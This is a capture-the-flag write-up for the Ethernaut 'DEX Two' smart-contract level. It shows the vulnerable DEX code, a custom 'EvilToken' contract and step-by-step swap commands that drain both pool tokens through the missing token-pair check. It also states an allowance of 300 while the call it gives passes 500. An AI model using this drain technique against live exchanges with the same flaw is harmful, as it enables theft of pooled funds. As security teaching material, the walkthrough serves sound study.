Page cover image

DEX Two

external ERC20 contract

Description

This level will ask you to break DexTwo, a subtlely modified Dex contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

Things that might help:

  • How has the swap method been modified?

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Compared with DEX, DEX Two has a different implementation of the swap() function:

![[DEX Two swap().png]]

The following require statement was implemented in DEX's swap() but it is missing in DEX Two's swap():

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

This is problematic: we can introduce external token contracts (other than token1 and token2). The objective of this challenge is to drain both token1 and token2 (recall that in DEX we just had to drain one of them), and we can achieve that with a customized external token.

Solution

Check out this writeup for the math.

We deploy a customized token contract and name the token "EvilToken" (EVL):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}

Deploy it with initial supply 400 (any large number suffices) in Remix. Send 100 EVL to the challenge contract by calling transfer("<your_challenge_contract_address>", 100).

Step 1: Get token contract addresses:

evlToken = "<your_EVL_token_contract_address>"
t1 = await contract.token1()
t2 = await contract.token2()

Step 2: In Remix, set allowance of the challenge contract to 300 by calling approve("<your_challenge_contract_address>", 500) (100 for token1 and 200 for token2).

At this stage, we have 100 token1, 100 token2, and 100 EVL in the DEX. The price is 1:1:1.

Step 3: Swap 100 token1 using 100 EVL to drain token1:

await contract.swap(evlToken, t1, 100)

This works because token1 and EVL are 100:100 = 1:1. Verify if token1 is successfully drained:

await contract.balanceOf(t1, instance).then(v => v.toString())

Step 4: Swap 100 token2 using 200 EVL to drain token2:

await contract.swap(evlToken, t2, 200)

This works because token2 and EVL are 100:200 = 1:2. Verify if token2 is successfully drained:

await contract.balanceOf(t2, instance).then(v => v.toString())

Summary

As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the ERC20 spec does not mean it's trust worthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their transfer methods. See Missing return value bug - At least 130 tokens affected.

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.

Further Reading

Last time we read samczsun's price oracle article. This time we are going to dig a little deeper. cmichel has an article explaining the "Warp Finance hack":

Last updated